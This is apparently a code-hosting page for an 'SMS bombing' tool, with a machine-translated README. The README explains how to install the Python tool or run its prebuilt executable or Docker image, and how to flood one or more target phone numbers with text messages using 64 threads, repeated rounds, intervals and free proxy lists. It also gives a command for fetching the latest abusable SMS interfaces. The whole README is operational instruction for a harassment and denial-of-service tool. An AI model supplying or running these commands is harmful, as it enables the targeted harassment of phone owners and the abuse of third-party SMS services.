# 短信轰炸 **Repository Path**: gaoto/sms-bombing ## Basic Information - **Project Name**: 短信轰炸 - **Description**: python获取大量短信发送到手机号 - **Primary Language**: Python - **License**: Apache-2.0 - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 29 - **Created**: 2023-05-26 - **Last Updated**: 2023-05-26 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README 1. Create a new folder in any drive (**except C drive**) and move the program to it. e.g. ![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/e.g.1.png) 2. `Win`+`R` to open cmd. Enter the drive letter. For example: `E:` Then cd to the folder, for example `cd SMS` ![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/cmd1.png) 3. After confirming that the cmd path is the path where the EXE is located, enter cmd: `smsboom_pyinstall.exe`, if a command prompt appears, the script is running normally. ![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/cmd2.png) 4. The latest interface must be updated before use ```shell smsboom_pyinstall.exe update ```` > If there is an error `ssl_` in the update interface, please refer to [issue](https://github.com/AdminWhaleFall/SMSBoom/issues/2) **Close the agent software** and then update. 5. [Description of proxy settings](https://github.com/WhaleFell/SMSBoom#%E4%BD%BF%E7%94%A8%E4%BB%A3%E7%90%86), Xiaobai Can not watch for now 6. Pass parameters, command example: Start 64 threads, Boom//Bomb a person's mobile phone number (198xxxxxxxx), only Boom//Bomb once. ```shell smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx ```` Start 64 threads, bomb // bomb a person's mobile phone number (19xxxxxxx), start a loop bomb // bomb, take turns bomb // bomb 60 times ```shell smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 ```` Start 64 threads, bomb // bomb a person's mobile phone number (19xxxxxxx), start a loop bomb // bomb, take turns bomb // bomb 60 times, each time interval 30 seconds ```shell smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30 ```` Start 64 threads, bomb//bomb a person's mobile phone number (19xxxxxxx), start a cycle of bombing//bombing, take turns bombing//bombing 60 times, every 30 seconds, open the proxy list for bombing ```shell smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30 -e ```` Start 64 threads, bomb//bomb multiple people's mobile phone numbers (138xxx, 139xxxx), start a loop bomb//bomb, take turns bombing 60 times, every 30 seconds, open the proxy list for bombing ```shell smsboom_pyinstall.exe run -t 64 -p 138xxxxxxxx -p 139xxxxxxxx -f 60 -i 30 -e ```` ### For Big Guys #### Download project - Method 1: Using Git: ```shell git clone https://github.com/AdminWhaleFall/SMSBoom.git/ ```` > Wall country acceleration > > ```shell > git clone https://github.do/https://github.com/AdminWhaleFall/SMSBoom.git > ```` - Method 2: Click to download [project zip package](https://github.com/AdminWhaleFall/SMSBoom/archive/refs/heads/master.zip) and unzip it. #### Configuration Environment **Prerequisites:** Please ensure that your computer has a `python3.x` environment, it is recommended to use `3.8` and above! Solution 1: If you have a `Python3.8` environment, you can use the `pipenv` tool. 1. Install the pipenv package management tool. ```shell pip install pipenv ```` 2. Build a virtual environment for the project. ```shell pipenv install # only use bomb// bomb function pipenv install --dev # Use the webui debug interface function. ```` 3. Try running smsboom.py ```shell pipenv shell # activate the virtual environment python smsboom.py # linux ```` If no error is reported and help information is output, the environment has been installed correctly. If an error is reported, please use option 2 Option 2: Only the `Python3.X` environment needs to use the native `pip` tool. 1. Install the required libraries ```shell pip install -r requirements.txt # only use bomb // bomb pip install -r requirements-dev.txt # use webui ```` 2. Try running smsboom.py ```shell python smsboom.py ```` If no error is reported and help information is output, the environment has been installed correctly. #### Running with Docker **Prerequisites:** Please make sure the current environment has [Docker](https://docs.docker.com/get-docker/). 1. Build the image ```shell docker build -t whalefell/smsboom . ```` 2. Try to run ```shell docker run --rm whalefell/smsboom:latest --help Usage: smsboom.py [OPTIONS] COMMAND [ARGS]... Options: --help Show this message and exit. Commands: asyncrun requests the interface in the fastest way (true asynchronous million concurrency) onerun single thread (for testing) run incoming thread number and mobile phone number to start bombing, support multiple mobile phone numbers update Get the latest interface from github ```` #### run If using a virtual environment, please activate it first. `pipenv shell` ```shell # output help information python smsboom.py --help Usage: smsboom.py [OPTIONS] COMMAND [ARGS]... Options: --help Show this message and exit. Commands: run incoming thread number and mobile phone number to start bombing//exploding, support multiple mobile phone numbers update Get the latest interface from github ```` - start bombing//exploding help information: ```shell python smsboom.py run --help Usage: smsboom.py run [OPTIONS] Incoming the number of threads and mobile phone number to start bombing//exploding, support for multiple mobile phone numbers Options: -t, --thread INTEGER number of threads (default 64) -p, --phone TEXT phone number, you can pass in multiple and then use -p to pass [required] -f, --frequency INTEGER execution times (default 1) -i, --interval INTEGER interval time (default 60s) -e, --enable_proxy BOOLEAN enable proxy (default disabled) --help Show this message and exit. ```` ### Using a proxy This project cannot automatically obtain a proxy through the API. You can manually obtain a proxy from the free proxy website below, or choose to use your own proxy, or not use a proxy. > [https://proxyscrape.com/free-proxy-list](https://proxyscrape.com/free-proxy-list) > [https://openproxy.space/list](https://openproxy.space/list) Add the proxy to the three files `http_proxy.txt` `socks4_proxy.txt` `socks5_proxy.txt`, add `-e` to the command parameter to execute. ### Command example Start 64 threads, bomb//bomb a person's mobile phone number (198xxxxxxxx), and only bomb//bomb one wave. ```shell python smsboom.py run -t 64 -p 198xxxxxxxx ``` Start 64 threads, bomb // bomb a person's mobile phone number (198xxxxxxxx), start a loop bomb // bomb, take turns bomb // bomb 60 times ```shell python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 ```Start 64 threads, bomb // bomb a person's mobile phone number (198xxxxxxxx), start a loop bomb // bomb, take turns bomb // bomb 60 times, each time interval 30 seconds ```shell python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 -i 30 ```Start 64 threads, bomb//bomb a person's mobile phone number (198xxxxxxxx), start a loop of bomb//bomb, take turns to bomb//bomb 60 times, every 30 seconds, open the proxy list to bomb ```shell python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 -i 30 -e ``` Start 64 threads, bomb//bomb multiple people's mobile phone numbers (198xxxxxxxx, 199xxxxxxxx), start a loop bomb//bomb, take turns bombing 60 times, every 30 seconds, open the proxy list for bombing ```shell python smsboom.py run -t 64 -p 198xxxxxxxx -p 199xxxxxxxx -f 60 -i 30 -e ``` ## Development The program provides interface debugging tools, but it is not perfect at present. Front-end big guys are welcome to PR. The debugging tool uses `Flask` as the backend and `vue` as the frontend to realize the separation of front and back ends. At present, there is only a test interface, adding the function of the interface. ### Flask front-end debugging > **The premise is that the pipenv environment has been installed according to the previous Quick Start method** ```shell pipenv shell # Activate the virtual environment python run_flask_app.py start -p 9090 # Listen on port 9090 ``` **run help:** ```shell Usage: run_flask_app.py [OPTIONS] COMMAND [ARGS]... Options: --help Show this message and exit. Commands: init Initialize the database json2sqlite Convert json data to sqlite database sqlite2json Convert sqlite data to json start start flask app ``` ```shell Usage: run_flask_app.py start [OPTIONS] start up flask app Options: -h, --host TEXT listen address -p, --port INTEGER listening port --help Show this message and exit. ``` The default monitoring *0.0.0.0:9090* address, the browser access [http://127.0.0.1:9090/admin/] (http://127.0.0.1:9090/admin/) If there is no accident, the front end can appear Debug interface.